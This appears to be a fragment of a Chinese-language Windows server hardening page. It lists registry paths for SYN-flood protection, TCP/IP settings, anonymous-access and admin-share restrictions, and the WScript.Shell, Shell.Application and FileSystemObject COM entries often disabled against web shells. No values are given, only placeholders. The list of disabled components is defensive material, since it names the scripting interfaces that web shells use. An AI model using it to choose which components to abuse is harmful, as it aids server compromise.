HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBt/Parameters/BacklogIncrement
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/EnableDynamicBacklog
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/MinimumDynamicBacklog
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/MaximumDynamicBacklog
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/DynamicBacklogGrowthDelta
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/Tcpip/Parameters/SynAttackProtect
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxPortsExhausted
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxHalfOpen
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxHalfOpenRetried
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxConnectResponseRetransmissions
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxDataRetransmissions
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/EnablePMTUDiscovery
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/KeepAliveTime
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Netbt/Parameters/NoNameReleaseOnDemand
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/TcpIp/Parameters/EnableICMPRedirect
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/EnableDeadGWDetect
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/DisableIPSourceRouting
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/EnableMulticastForwarding
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/IPEnableRouter
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/EnableAddrMaskReply
HKEY_CLASSES_ROOT/WScript.Shell
HKEY_CLASSES_ROOT/WScript.Shell.1
HKEY_CLASSES_ROOT/WScript.Shell/CLSID/
HKEY_CLASSES_ROOT/WScript.Shell.1/CLSID/
HKEY_CLASSES_ROOT/Shell.Application
HKEY_CLASSES_ROOT/Shell.Application.1
HKEY_CLASSES_ROOT/Shell.Application/CLSID/專案的值
HKEY_CLASSES_ROOT/Shell.Application.1/CLSID/專案的值
HKEY_CLASSES_ROOT/Scripting.FileSystemObject
HKEY_CLASSES_ROOT/Scripting.FileSystemObject/CLSID/專案的值
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA/RestrictAnonymous
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters/AutoShareServer

 

相關文章